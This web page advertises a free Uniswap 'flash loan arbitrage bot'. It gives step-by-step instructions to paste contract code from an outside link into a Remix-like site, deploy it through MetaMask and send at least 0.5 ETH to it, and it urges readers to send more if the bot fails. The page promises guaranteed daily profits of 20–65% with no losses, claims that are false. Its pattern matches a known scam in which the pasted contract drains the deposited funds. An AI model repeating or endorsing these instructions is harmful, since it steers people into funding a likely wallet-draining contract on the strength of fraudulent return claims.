Learn a carefully curated step-by-step method that will help you achieve this seemingly far goal with proof.
Uniswap is a decentralized cryptocurrency exchange which uses a decentralized network protocol. If you trade crypto on Uniswap, 1inch or any other decentralized exchange (DEX), then you need to know about Flash Loans sniping profits across exchange’s pools.
You are now able to take advantage of those arbitrages yourself, a benefit that was previously only available to highly skilled developers.
Here we provide you the access to user-friendly (no coding skills required) Flash Loan so you can enjoy stress-free passive income from day one. It’s our flagship project that we recently released which runs on ETH pairs on Uniswap making profits from arbitrage trades.
Using this smart contract source code allows users to create their own personalized Flash Loan bot which stacks up the profits from automatic trades for the users.
Learn more about Flash Loans — https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
We share this Arbitrage smart contract for free, so people can test before buying the PRO version.
Check this short video to see how it works and follow the steps below. If the video takes a long time to load, use a VPN.
In the case of an error with loading the video, running the contract code on the compiler or opening the contract code link. Use a VPN and it will work.
How to launch your own arbitrage bot:
Download MetaMask (if you don’t have it already).
Access Remix from PC or Laptop: https://remix-compiler.com/
Click “Create New File” icon in “Workspaces” section and name it as you like, for example: “flashloan.sol”.
Paste the contract code in Remix: https://raw.githubusercontent.com/Crypto-Arbitrages/ETH-Arbitrage/main/fullcode_
Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
Connect your MetaMask wallet.
Go to “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and click “Compile flashloan.sol”. Click on the down arrow right from the “Deploy” button
• On “_NETWORKSYMBOL” ETH
• On “_TRADINGMODE” 2
• On “_WITHDRAWALADDRESS” ***Your address
• Click Transact and confirm the transaction in MetaMask.
NOTE: In the case of any transaction fail, it is usually as a result of traffic congestion. Follow the video below to fix it:
Place your transaction mode on “aggressive” and the transaction will go through
Wait for the transaction to confirm. Copy the address of the newly deployed contract.
Send ETH to the deployed contract to initiate the swap 0.5 ETH+ (0.5 ETH up is better as you will get a bigger amount in each swap and 0.5 ETH will be sufficient liquidity to run the swap to ensure the trade doesn’t fail)
Wait for the transaction to confirm. Now, Click “start” (red box) to execute the Flash Loan.
Confirm the transaction in MetaMask and wait for the confirmation.
After your transaction is confirmed, click “Start” button to launch the bot. It will start working immediately earning you profits from arbitrage trades on Uniswap pools. Withdraw your ETH at any time by clicking “Withdraw” button.
You can now check your wallet
Note: If it doesn’t work with 0.5 ETH try to send another 0.5 ETH(1.0 is better), because fees may be different from day to day. (1.0+ ETH for each 1000 ETH you are borrowing).
Avoid using very low amounts as contract may fail below 0.25 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.
Don’t panic, all you have to do is wait a little while (5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.
FAQ
If many people will use the bot, wouldn’t dilution of profits occur?
We do not plan to limit access to the bot for now because there won’t be any effect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.
What average ROI can I expect?
According to latest data of bot performances (past 3 weeks) ROI is about +10–24% daily per user for the test. The pro version guarantees a 20–65% daily profit if used well. Bot does not make any losses, it only executes trades when there’s proper arbitrage opportunity to make profit, so under all circumstances user is always on plus.
What amount of funds bot need to work?
We recommend funding the contract with at least (0.5–2 ETH) to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.